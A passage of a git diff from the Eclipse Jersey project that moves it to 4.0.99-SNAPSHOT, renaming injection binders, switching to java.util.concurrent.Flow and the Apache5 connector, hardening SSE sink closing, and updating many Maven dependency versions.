  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,8 +23,8 @@
 
 import jakarta.inject.Provider;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.media.multipart.FormDataParam;
 import org.glassfish.jersey.server.ContainerRequest;
 import org.glassfish.jersey.server.internal.inject.MultivaluedParameterExtractorProvider;
@@ -41,7 +41,7 @@
 
     @Override
     public boolean configure(FeatureContext context) {
-        context.register(new AbstractBinder() {
+        context.register(new InternalBinder() {
             @Override
             protected void configure() {
                 Provider<MultivaluedParameterExtractorProvider> extractorProvider =
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MultipartMixedWithApacheClientTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MultipartMixedWithApacheClientTest.java
index 180bd85..db0eee2 100644
--- a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MultipartMixedWithApacheClientTest.java
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MultipartMixedWithApacheClientTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -29,7 +29,7 @@
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.MediaType;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientProperties;
 import org.glassfish.jersey.server.ResourceConfig;
@@ -51,7 +51,7 @@
 
     @Override
     protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
+        config.connectorProvider(new Apache5ConnectorProvider());
         config.register(MultiPartFeature.class);
     }
 
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java
index 73790c0..e8a4e77 100644
--- a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java
@@ -31,7 +31,7 @@
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.MediaType;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
@@ -63,8 +63,8 @@
         return Arrays.asList(new Object[][] {
                 {new HttpUrlConnectorProvider(), false},
                 {new GrizzlyConnectorProvider(), true},
-//                {new JettyConnectorProvider(), true},
-                {new ApacheConnectorProvider(), true},
+                {new JettyConnectorProvider(), false},
+                {new Apache5ConnectorProvider(), true},
         });
     }
 
diff --git a/media/pom.xml b/media/pom.xml
index 03b4ea3..14a0fc2 100644
--- a/media/pom.xml
+++ b/media/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.media</groupId>
diff --git a/media/sse/pom.xml b/media/sse/pom.xml
index c0f8548..d9e46d5 100644
--- a/media/sse/pom.xml
+++ b/media/sse/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-sse</artifactId>
@@ -82,7 +82,11 @@
                 <inherited>true</inherited>
                 <configuration>
                     <instructions>
-                        <Import-Package>${jakarta.annotation.osgi.version},*</Import-Package>
+                        <Import-Package>
+                            ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                     </instructions>
                 </configuration>
             </plugin>
diff --git a/media/sse/src/main/java/org/glassfish/jersey/media/sse/JerseySseEventSourceBuilder.java b/media/sse/src/main/java/org/glassfish/jersey/media/sse/JerseySseEventSourceBuilder.java
index 9597d3b..79d9158 100644
--- a/media/sse/src/main/java/org/glassfish/jersey/media/sse/JerseySseEventSourceBuilder.java
+++ b/media/sse/src/main/java/org/glassfish/jersey/media/sse/JerseySseEventSourceBuilder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 import org.glassfish.jersey.media.sse.internal.JerseySseEventSource;
 
 /**
- * Public {@link SseEventSource.Builder} implementation.
+ * Public {@link jakarta.ws.rs.sse.SseEventSource.Builder} implementation.
  */
 public final class JerseySseEventSourceBuilder extends JerseySseEventSource.Builder {
 }
diff --git a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseyEventSink.java b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseyEventSink.java
index b1b1dc0..5d4e360 100644
--- a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseyEventSink.java
+++ b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseyEventSink.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,6 +21,7 @@
 import java.nio.charset.StandardCharsets;
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.CompletionStage;
+import java.util.concurrent.Flow;
 import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.logging.Level;
 import java.util.logging.Logger;
@@ -30,8 +31,6 @@
 import jakarta.ws.rs.core.MediaType;
 import jakarta.inject.Provider;
 
-import org.glassfish.jersey.internal.jsr166.Flow;
-import org.glassfish.jersey.internal.jsr166.JerseyFlowSubscriber;
 import org.glassfish.jersey.media.sse.LocalizationMessages;
 import org.glassfish.jersey.media.sse.OutboundEvent;
 import org.glassfish.jersey.server.AsyncContext;
@@ -45,7 +44,7 @@
  * @author Adam Lindenthal
  */
 class JerseyEventSink extends ChunkedOutput<OutboundSseEvent>
-        implements SseEventSink, Flushable, JerseyFlowSubscriber<Object> {
+        implements SseEventSink, Flushable, Flow.Subscriber<Object> {
 
     private static final Logger LOGGER = Logger.getLogger(JerseyEventSink.class.getName());
     private static final byte[] SSE_EVENT_DELIMITER = "\n".getBytes(StandardCharsets.UTF_8);
diff --git a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseySseBroadcaster.java b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseySseBroadcaster.java
index 07edebb..d840612 100644
--- a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseySseBroadcaster.java
+++ b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseySseBroadcaster.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,6 +20,7 @@
 import java.util.concurrent.CompletionStage;
 import java.util.concurrent.CopyOnWriteArrayList;
 import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Flow;
 import java.util.function.BiConsumer;
 import java.util.function.Consumer;
 
@@ -28,7 +29,6 @@
 import jakarta.ws.rs.sse.SseBroadcaster;
 import jakarta.ws.rs.sse.SseEventSink;
 
-import org.glassfish.jersey.internal.jsr166.Flow;
 import org.glassfish.jersey.internal.util.JerseyPublisher;
 import org.glassfish.jersey.media.sse.LocalizationMessages;
 
@@ -142,16 +142,23 @@
         @Override
         public void onError(final Throwable throwable) {
             // TODO JAX-RS 2.1
-            sseEventSink.close();
+            try {
+                sseEventSink.close();
+            } catch (/*IO*/Exception e) {
+                // ignore - already an error
+            }
             notifyOnErrorCallbacks(this, throwable);
         }
 
         @Override
         public void onComplete() {
             // TODO JAX-RS 2.1
-            sseEventSink.close();
-            notifyOnCompleteHandlers(this);
-
+            try {
+                sseEventSink.close();
+                notifyOnCompleteHandlers(this);
+            } catch (/*IO*/Exception e) {
+                notifyOnErrorCallbacks(this, e);
+            }
         }
     }
 }
diff --git a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseySseEventSource.java b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseySseEventSource.java
index f675181..501b95f 100644
--- a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseySseEventSource.java
+++ b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/JerseySseEventSource.java
@@ -19,6 +19,7 @@
 import java.util.ArrayList;
 import java.util.List;
 import java.util.Objects;
+import java.util.concurrent.Flow;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
 import java.util.function.Consumer;
@@ -31,7 +32,6 @@
 
 import org.glassfish.jersey.client.ClientExecutor;
 import org.glassfish.jersey.client.JerseyWebTarget;
-import org.glassfish.jersey.internal.jsr166.Flow;
 import org.glassfish.jersey.internal.util.JerseyPublisher;
 import org.glassfish.jersey.media.sse.LocalizationMessages;
 
diff --git a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/SseBinder.java b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/SseBinder.java
index debeb21..d9c51de 100644
--- a/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/SseBinder.java
+++ b/media/sse/src/main/java/org/glassfish/jersey/media/sse/internal/SseBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,18 +19,19 @@
 import jakarta.ws.rs.sse.Sse;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 
 /**
  * Binds implementations to interfaces for injection of SSE-related injectables.
  *
  * @author Adam Lindenthal
  */
-public class SseBinder extends AbstractBinder {
+public class SseBinder extends InternalBinder {
     @Override
     protected void configure() {
         bind(JerseySse.class)
                 .to(Sse.class)
-                .in(Singleton.class);
+                .in(Singleton.class)
+                .id(0);
     }
 }
diff --git a/media/sse/src/test/java/org/glassfish/jersey/media/sse/InboundEventReaderTest.java b/media/sse/src/test/java/org/glassfish/jersey/media/sse/InboundEventReaderTest.java
index 307e770..a7c549a 100644
--- a/media/sse/src/test/java/org/glassfish/jersey/media/sse/InboundEventReaderTest.java
+++ b/media/sse/src/test/java/org/glassfish/jersey/media/sse/InboundEventReaderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,8 +26,8 @@
 import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.core.MediaType;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.internal.util.collection.MultivaluedStringMap;
diff --git a/media/sse/src/test/java/org/glassfish/jersey/media/sse/SseEventSourceRegisterErrorHandlerTest.java b/media/sse/src/test/java/org/glassfish/jersey/media/sse/SseEventSourceRegisterErrorHandlerTest.java
index 036a568..52cdcc0 100644
--- a/media/sse/src/test/java/org/glassfish/jersey/media/sse/SseEventSourceRegisterErrorHandlerTest.java
+++ b/media/sse/src/test/java/org/glassfish/jersey/media/sse/SseEventSourceRegisterErrorHandlerTest.java
@@ -36,6 +36,8 @@
 import jakarta.ws.rs.sse.Sse;
 import jakarta.ws.rs.sse.SseEventSink;
 import jakarta.ws.rs.sse.SseEventSource;
+
+import java.io.IOException;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
@@ -55,7 +57,7 @@
         @Path("close")
         @GET
         @Produces(SseFeature.SERVER_SENT_EVENTS)
-        public void close(@Context SseEventSink output, @Context Sse sse) throws InterruptedException {
+        public void close(@Context SseEventSink output, @Context Sse sse) throws IOException {
             output.close();
         }
 
diff --git a/pom.xml b/pom.xml
index d4ff722..5ca62fc 100644
--- a/pom.xml
+++ b/pom.xml
@@ -29,7 +29,7 @@
     <groupId>org.glassfish.jersey</groupId>
     <artifactId>project</artifactId>
     <packaging>pom</packaging>
-    <version>3.5.99-SNAPSHOT</version>
+    <version>4.0.99-SNAPSHOT</version>
     <name>jersey</name>
     <description>
         Eclipse Jersey is the open source (under dual EPL+GPL license) Jakarta RESTful WebServices 3.0
@@ -1543,6 +1543,11 @@
                 <artifactId>jakarta.enterprise.cdi-api</artifactId>
                 <version>${cdi.api.version}</version>
             </dependency>
+            <dependency>
+                <groupId>jakarta.interceptor</groupId>
+                <artifactId>jakarta.interceptor-api</artifactId>
+                <version>${jakarta.interceptor.version}</version>
+            </dependency>
 
             <dependency>
                 <groupId>jakarta.transaction</groupId>
@@ -1664,11 +1669,6 @@
             </dependency>
 
             <dependency>
-                <groupId>org.apache.httpcomponents</groupId>
-                <artifactId>httpclient</artifactId>
-                <version>${httpclient.version}</version>
-            </dependency>
-            <dependency>
                 <groupId>org.apache.httpcomponents.client5</groupId>
                 <artifactId>httpclient5</artifactId>
                 <version>${httpclient5.version}</version>
@@ -1721,24 +1721,6 @@
             </dependency>
 
             <dependency>
-                <groupId>org.simpleframework</groupId>
-                <artifactId>simple-http</artifactId>
-                <version>${simple.version}</version>
-            </dependency>
-
-            <dependency>
-                <groupId>org.simpleframework</groupId>
-                <artifactId>simple-transport</artifactId>
-                <version>${simple.version}</version>
-            </dependency>
-
-            <dependency>
-                <groupId>org.simpleframework</groupId>
-                <artifactId>simple-common</artifactId>
-                <version>${simple.version}</version>
-            </dependency>
-
-            <dependency>
                 <groupId>org.codehaus.jettison</groupId>
                 <artifactId>jettison</artifactId>
                 <version>${jettison.version}</version>
@@ -1948,7 +1930,7 @@
             <dependency>
                 <groupId>org.jboss.weld</groupId>
                 <artifactId>weld-api</artifactId>
-                <version>${weld.api.version}</version>
+                <version>${weld.version}</version>
             </dependency>
             <dependency>
                 <groupId>org.jboss.weld.se</groupId>
@@ -2133,7 +2115,7 @@
         <findbugs.glassfish.logging.validLoggerPrefixes>
             jakarta.enterprise
         </findbugs.glassfish.logging.validLoggerPrefixes>
-        <java.version>11</java.version>
+        <java.version>17</java.version>
 <!--        <jersey.repackaged.prefix>jersey.repackaged</jersey.repackaged.prefix>-->
 <!--        <netbeans.hint.license>gf-cddl-gpl</netbeans.hint.license>-->
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
@@ -2194,8 +2176,8 @@
 
         <!-- Dependency versions -->
         <jersey.version>${project.version}</jersey.version>
-        <arquillian.version>1.8.0.Final</arquillian.version>
-        <arquillian.weld.version>3.0.1.Final</arquillian.weld.version> <!-- 3.0.2.Final fails microprofile TCK tests -->
+        <arquillian.version>1.9.1.Final</arquillian.version>
+        <arquillian.weld.version>4.0.0.Final</arquillian.weld.version> <!-- 3.0.2.Final fails microprofile TCK tests -->
         <!-- asm is now source integrated - keeping this property to see the version -->
         <!-- see core-server/src/main/java/jersey/repackaged/asm/.. -->
         <asm.version>9.7.1</asm.version>
@@ -2224,17 +2206,17 @@
         <!-- end of versions extracted here due to maven-enforcer-plugin -->
 
         <!-- micrometer -->
-        <micrometer.version>1.12.4</micrometer.version>
-        <micrometer-tracing.version>1.0.12</micrometer-tracing.version>
+        <micrometer.version>1.13.3</micrometer.version>
+        <micrometer-tracing.version>1.3.3</micrometer-tracing.version>
 
         <!-- microprofile -->
         <microprofile.config.version>3.0.3</microprofile.config.version>
         <microprofile.rest.client3.version>3.0.1</microprofile.rest.client3.version>
         <microprofile.rest.client.version>4.0</microprofile.rest.client.version>
-        <helidon.config.version>3.2.6</helidon.config.version>
+        <helidon.config.version>3.2.8</helidon.config.version>
         <helidon.connector.version>3.2.8</helidon.connector.version>
         <helidon.config.11.version>1.4.14</helidon.config.11.version> <!-- JDK 11- support -->
-        <smallrye.config.version>3.7.1</smallrye.config.version>
+        <smallrye.config.version>3.9.1</smallrye.config.version>
 
         <guava.version>33.3.0-jre</guava.version>
         <hamcrest.version>3.0</hamcrest.version>
@@ -2260,26 +2242,26 @@
         <osgi.version>6.0.0</osgi.version>
         <osgi.framework.version>1.10.0</osgi.framework.version>
         <osgi.compendium.version>5.0.0</osgi.compendium.version>
-        <osgi.service.cm.version>1.6.0</osgi.service.cm.version>
-        <pax.exam.version>4.13.4</pax.exam.version>
+        <osgi.service.cm.version>1.6.1</osgi.service.cm.version>
+        <pax.exam.version>4.13.5</pax.exam.version>
+        <pax.exam.legacy.version>4.13.4</pax.exam.legacy.version>
         <pax.web.version>0.7.4</pax.web.version><!-- TODO: UPGRADE! -->
+        <pax.url.aether.version>2.6.14</pax.url.aether.version>
+        <pax.logging.api.version>2.2.6</pax.logging.api.version>
         <reactive.streams.version>1.0.4</reactive.streams.version>
         <rxjava.version>1.3.8</rxjava.version>
         <rxjava2.version>2.2.21</rxjava2.version>
 
-        <servlet4.version>4.0.3</servlet4.version>
-        <servlet6.version>6.0.0</servlet6.version>
+        <servlet4.version>4.0.4</servlet4.version>
+        <servlet6.version>6.1.0</servlet6.version>
 
-        <simple.version>6.0.1</simple.version>
-        <slf4j.version>2.0.16</slf4j.version>
-        <spring6.version>6.0.18</spring6.version>
+        <slf4j.version>2.0.13</slf4j.version>
+        <spring6.version>6.0.23</spring6.version>
         <testng.version>7.10.2</testng.version>
         <testng6.version>6.14.3</testng6.version>
         <thymeleaf.version>3.1.2.RELEASE</thymeleaf.version>
         <!-- Jakartified, eligible for CQ -->
-        <weld.api.version>5.0.SP3</weld.api.version>
-        <weld.version>5.1.3.Final</weld.version>
-        <weld3.version>3.1.9.Final</weld3.version>
+        <weld.version>6.0.0.Beta4</weld.version>
         <validation.impl.version>8.0.1.Final</validation.impl.version>
         <!-- END of Jakartified, eligible for CQ -->
         <wiremock.jetty9.version>2.27.2</wiremock.jetty9.version>
@@ -2290,37 +2272,41 @@
         <graalvm.version>20.3.15</graalvm.version>
 
         <!-- do not need CQs (below this line till the end of version properties)-->
-        <gf.impl.version>7.0.6</gf.impl.version>
+        <gf.impl.version>8.0.0-JDK17-M6</gf.impl.version>
         <!-- Jakartified -->
-        <cdi.api.version>4.0.1</cdi.api.version>
-        <cdi.osgi.version>jakarta.enterprise.*;version="[3.0,5)"</cdi.osgi.version>
+        <cdi.api.version>4.1.0</cdi.api.version>
+        <cdi.osgi.version>jakarta.enterprise.*;version="[4.0,5)"</cdi.osgi.version>
         <ejb.version>4.0.1</ejb.version>
         <grizzly2.version>4.0.2</grizzly2.version>
         <grizzly.client.version>1.16</grizzly.client.version>
         <grizzly.npn.version>2.0.0</grizzly.npn.version>
-        <hk2.version>3.0.6</hk2.version>
-        <hk2.osgi.version>org.glassfish.hk2.*;version="[3.0,4)"</hk2.osgi.version>
-        <hk2.jvnet.osgi.version>org.jvnet.hk2.*;version="[3.0,4)"</hk2.jvnet.osgi.version>
-        <hk2.config.version>7.0.4</hk2.config.version>
-        <jsp.version>3.1.1</jsp.version>
+        <hk2.version>4.0.0-M3</hk2.version>
+        <hk2.osgi.version>org.glassfish.hk2.*;version="[4.0,5)"</hk2.osgi.version>
+        <hk2.jvnet.osgi.version>org.jvnet.hk2.*;version="[4.0,5)"</hk2.jvnet.osgi.version>
+        <hk2.config.version>8.0.0-JDK17-M6</hk2.config.version>
+        <jsp.version>4.0.0-M2</jsp.version>
         <jstl.version>3.0.2</jstl.version>
         <jta.api.version>2.0.1</jta.api.version>
-        <istack.commons.runtime.version>4.1.2</istack.commons.runtime.version>
+        <istack.commons.runtime.version>4.2.0</istack.commons.runtime.version>
         <jakarta.activation-api.version>2.1.3</jakarta.activation-api.version>
         <jakarta.activation.version>2.0.2</jakarta.activation.version>
-        <jakarta.el.version>5.0.1</jakarta.el.version>
-        <jakarta.el.impl.version>5.0.0</jakarta.el.impl.version>
-        <jakarta.annotation.osgi.version>jakarta.annotation.*;version="[2.0,3)"</jakarta.annotation.osgi.version>
-        <jakarta.annotation.version>2.1.1</jakarta.annotation.version>
+        <!-- org.hibernate.validator has lookup limitation up to the 6 version of EL API-->
+        <jakarta.el.version>5.0.1</jakarta.el.version> <!-- el6 does not work with OSGi with expressly 5 -->
+        <!-- org.hibernate.validator has lookup limitation up to the 6 version of EL IMPL -->
+        <jakarta.el.impl.version>5.0.0</jakarta.el.impl.version> <!-- EE11 expressly 6 does not work with EE10 BV 8.0.1 (OSGi) -->
+        <jakarta.annotation.osgi.version>jakarta.annotation.*;version="[3.0,4)"</jakarta.annotation.osgi.version>
+        <jakarta.annotation.version>3.0.0</jakarta.annotation.version>
+        <jakarta.decorator.osgi.version>jakarta.decorator.*;version="[4.0,5)"</jakarta.decorator.osgi.version> <!-- CDI -->
         <jakarta.inject.version>2.0.1</jakarta.inject.version>
-        <jakarta.interceptor.version>2.1.0</jakarta.interceptor.version>
+        <jakarta.interceptor.version>2.2.0</jakarta.interceptor.version>
         <jakarta.jsonp.version>2.1.3</jakarta.jsonp.version>
-        <jakarta.persistence.version>3.1.0</jakarta.persistence.version>
-        <jakarta.validation.api.version>3.0.2</jakarta.validation.api.version>
+        <jakarta.persistence.version>3.2.0</jakarta.persistence.version>
+        <jakarta.validation.api.version>3.1.0</jakarta.validation.api.version>
         <jakarta.jaxb.api.version>4.0.2</jakarta.jaxb.api.version>
         <jaxb.ri.version>4.0.5</jaxb.ri.version>
-        <jaxrs.api.spec.version>3.1</jaxrs.api.spec.version>
-        <jaxrs.api.impl.version>3.1.0</jaxrs.api.impl.version>
+        <jaxrs.api.spec.version>4.0.0</jaxrs.api.spec.version>
+        <jaxrs.api.impl.version>4.0.0</jaxrs.api.impl.version>
+        <jakarta.rest.osgi.version>jakarta.ws.rs;version="[3.1,5)",jakarta.ws.rs.client;version="[3.1,5)",jakarta.ws.rs.container;version="[3.1,5)",jakarta.ws.rs.core;version="[3.1,5)",jakarta.ws.rs.ext;version="[3.1,5)",jakarta.ws.rs.sse;version="[3.1,5)"</jakarta.rest.osgi.version>
         <jetty.osgi.version>org.eclipse.jetty.*;version="[11,15)"</jetty.osgi.version>
         <jetty.version>12.0.14</jetty.version>
         <jetty9.version>9.4.56.v20240826</jetty9.version>
@@ -2330,11 +2316,12 @@
         <jsonb.api.version>3.0.1</jsonb.api.version>
         <jsonp.ri.version>1.1.7</jsonp.ri.version>
         <jsonp.jaxrs.version>1.1.7</jsonp.jaxrs.version>
-        <moxy.version>4.0.4</moxy.version>
+        <moxy.version>5.0.0-B02</moxy.version>
+        <moxy.asm.version>9.7.1</moxy.asm.version>
         <yasson.version>3.0.4</yasson.version>
         <!-- END of Jakartified -->
 
         <javax.annotation.version>1.3.2</javax.annotation.version> <!--Deprecated, used only for @generated annotation in perf tests -->
         <mimepull.version>1.9.15</mimepull.version>
     </properties>
-</project>
\ No newline at end of file
+</project>
diff --git a/security/oauth1-client/pom.xml b/security/oauth1-client/pom.xml
index 1d59d2e..136e498 100644
--- a/security/oauth1-client/pom.xml
+++ b/security/oauth1-client/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.security</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>oauth1-client</artifactId>
diff --git a/security/oauth1-server/pom.xml b/security/oauth1-server/pom.xml
index d038c46..70ba79d 100644
--- a/security/oauth1-server/pom.xml
+++ b/security/oauth1-server/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.security</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>oauth1-server</artifactId>
diff --git a/security/oauth1-signature/pom.xml b/security/oauth1-signature/pom.xml
index c8c2287..ca4d2a5 100644
--- a/security/oauth1-signature/pom.xml
+++ b/security/oauth1-signature/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <groupId>org.glassfish.jersey.security</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/security/oauth1-signature/src/main/java/org/glassfish/jersey/oauth1/signature/OAuth1SignatureFeature.java b/security/oauth1-signature/src/main/java/org/glassfish/jersey/oauth1/signature/OAuth1SignatureFeature.java
index 3e35a23..88afb35 100644
--- a/security/oauth1-signature/src/main/java/org/glassfish/jersey/oauth1/signature/OAuth1SignatureFeature.java
+++ b/security/oauth1-signature/src/main/java/org/glassfish/jersey/oauth1/signature/OAuth1SignatureFeature.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 
 /**
  * Feature enabling OAuth signature support. If the feature is registered the
@@ -47,7 +47,7 @@
      * <p/>
      *
      */
-    static class Binder extends AbstractBinder {
+    static class Binder extends InternalBinder {
 
         @Override
         protected void configure() {
diff --git a/security/oauth2-client/pom.xml b/security/oauth2-client/pom.xml
index e4e8e10..fa30d72 100644
--- a/security/oauth2-client/pom.xml
+++ b/security/oauth2-client/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <groupId>org.glassfish.jersey.security</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/security/pom.xml b/security/pom.xml
index 1e9cd93..6d3bed0 100644
--- a/security/pom.xml
+++ b/security/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.security</groupId>
diff --git a/test-framework/core/pom.xml b/test-framework/core/pom.xml
index 9922dad..fc74385 100644
--- a/test-framework/core/pom.xml
+++ b/test-framework/core/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-core</artifactId>
diff --git a/test-framework/core/src/main/java/org/glassfish/jersey/test/JerseySingleContainerTest.java b/test-framework/core/src/main/java/org/glassfish/jersey/test/JerseySingleContainerTest.java
new file mode 100644
index 0000000..252bdfd
--- /dev/null
+++ b/test-framework/core/src/main/java/org/glassfish/jersey/test/JerseySingleContainerTest.java
@@ -0,0 +1,1007 @@
+/*
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test;
+
+import org.glassfish.jersey.Beta;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.internal.ServiceFinder;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.internal.util.ReflectionHelper;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.test.spi.TestContainer;
+import org.glassfish.jersey.test.spi.TestContainerException;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.BeforeEach;
+
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLParameters;
+import jakarta.ws.rs.client.Client;
